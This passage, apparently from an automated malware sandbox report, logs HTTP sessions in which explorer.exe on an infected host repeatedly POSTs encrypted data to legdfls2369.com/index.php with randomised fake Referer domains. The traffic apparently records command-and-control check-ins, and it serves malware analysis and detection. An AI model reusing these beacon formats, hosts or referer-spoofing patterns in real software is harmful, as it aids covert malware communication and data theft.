6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49728	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:19.514877081 CET	334	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kkuyhteudoe.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 354 Host: legdfls2369.com
Dec 2, 2023 18:02:19.514904022 CET	408	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d0 66 93 02 1f d3 26 f2 fe 75 a8 04 32 4a Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f&u2JtPn~Z!W[-5,LwnQ,F!.J\|C{*MH>mQP]cnxP%aS3Yv%\)SPeSpVmu1(.4s%gx3VC
Dec 2, 2023 18:02:19.745893955 CET	641	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 412 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49729	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:19.976634026 CET	335	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fprjajnfotlm.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 226 Host: legdfls2369.com
Dec 2, 2023 18:02:19.976670980 CET	280	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d0 66 92 02 1f d3 26 f2 fe 75 a6 03 1f 31 Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f&u1NhFWOI,sN<E\vqC:_Q;5dg}@"y"Vm4$MLP@2C9gzIIyY'X6a9
Dec 2, 2023 18:02:20.207916021 CET	641	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 412 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49730	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:20.451077938 CET	334	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ihumlwefnag.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 184 Host: legdfls2369.com
Dec 2, 2023 18:02:20.451112986 CET	238	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d0 66 91 02 1f d3 26 f2 fe 75 ee 5a 41 42 Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f&uZAB7~2g;LXy[ /=V?`9!h+)OvksAx7rvR_{=R4eJ
Dec 2, 2023 18:02:20.690567970 CET	641	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 412 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49731	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:20.939564943 CET	336	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://keqpthkyownrn.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 115 Host: legdfls2369.com
Dec 2, 2023 18:02:20.939564943 CET	169	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d0 66 90 02 1f d3 26 f2 fe 75 e8 0d 27 48 Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f&u'HP.^XNO\|$pg;-gkFya
Dec 2, 2023 18:02:21.171885014 CET	641	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 412 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49734	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:21.527930021 CET	335	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hmifbymgxups.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 161 Host: legdfls2369.com
Dec 2, 2023 18:02:21.527930021 CET	215	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d0 66 9f 02 1f d3 26 f2 fe 75 a0 4b 54 57 Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f&uKTW\|d$T\|U,m"2nA<HZHKi#S$O-01j~<5
Dec 2, 2023 18:02:21.769144058 CET	641	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 412 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49735	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:22.047724009 CET	337	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lrimaamtjcwadv.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 310 Host: legdfls2369.com
Dec 2, 2023 18:02:22.047724962 CET	364	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d0 66 9e 02 1f d3 26 f2 fe 75 c2 63 4d 16 Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f&ucM^8XE;Cjn$YS+]T%nk7Cp+CA``Q*84_x.kX:kJ%hH-X#A8)Ton@O~}3;:V0Y/$;:>vi
Dec 2, 2023 18:02:22.286427021 CET	641	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 412 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49736	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:22.633904934 CET	337	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wvykojjrbhgwfv.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 258 Host: legdfls2369.com
Dec 2, 2023 18:02:22.639353991 CET	312	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d0 66 9d 02 1f d3 26 f2 fe 75 bf 40 36 5a Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f&u@6Z6P\w\JZ\s!\ ;?3HJ@tv.SYjY^ZMPb"I"l3#H[fCg7Tcs620?iNEtU7_[0Q0>4:#FR<i6g7
Dec 2, 2023 18:02:22.868356943 CET	641	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 412 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49737	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:24.064135075 CET	338	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ppudvmunvhldwrd.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 366 Host: legdfls2369.com
Dec 2, 2023 18:02:24.064718008 CET	420	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d0 66 9c 02 1f d3 26 f2 fe 75 e0 19 28 2c Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f&u(,LSAj-T'D0\YQ,w SI`\|)AZV#ka<$mx\*!{Biyy>DP2LC%`2r``aAP@LSZUk
Dec 2, 2023 18:02:24.295595884 CET	641	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 412 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 